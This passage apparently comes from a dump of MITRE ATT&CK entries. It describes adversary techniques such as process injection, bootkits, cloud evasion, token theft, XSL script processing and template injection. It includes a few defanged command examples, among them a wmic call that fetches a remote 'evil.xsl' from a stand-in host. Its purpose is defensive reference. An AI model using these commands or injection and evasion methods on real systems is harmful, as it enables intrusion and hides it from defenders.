the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.009 | Proc Memory | Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.008 | Ptrace System Calls | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.005 | Thread Local Storage | Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.004 | Asynchronous Procedure Call | Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.003 | Thread Execution Hijacking | Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.002 | Portable Executable Injection | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.001 | Dynamic-link Library Injection | Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1542.003 | Bootkit | Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\nT1542.002 | Component Firmware | Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\nT1542.001 | System Firmware | Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\nT1542 | Pre-OS Boot | Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.\nT1506 | Web Session Cookie | Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) \nT1536 | Revert Cloud Instance | An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)\nT1535 | Unused/Unsupported Cloud Regions | Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)\nT1578 | Modify Cloud Compute Infrastructure | An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)\nT1527 | Application Access Token | Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n\nT1502 | Parent PID Spoofing | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)\nT1500 | Compile After Delivery | Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n\nT1497 | Virtualization/Sandbox Evasion | Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n\nT1484 | Domain Policy Modification | Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.\nT1480 | Execution Guardrails | Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\nT1220 | XSL Script Processing | Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d\nT1222 | File and Directory Permissions Modification | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) \nT1223 | Compiled HTML File | Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)\nT1221 | Template Injection | Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the *\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)\nT1216 | System Script Proxy Execution | Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)\nT1205 | Traffic Signaling | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)\nT1218 | System Binary Proxy Execution | Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)\nT1207 | Rogue Domain Controller | Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)\nT1196 | Control Panel Items | Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.\nT1202 | Indirect Command Execution | Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.\nT1198 | SIP and Trust Provider Hijacking | In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the 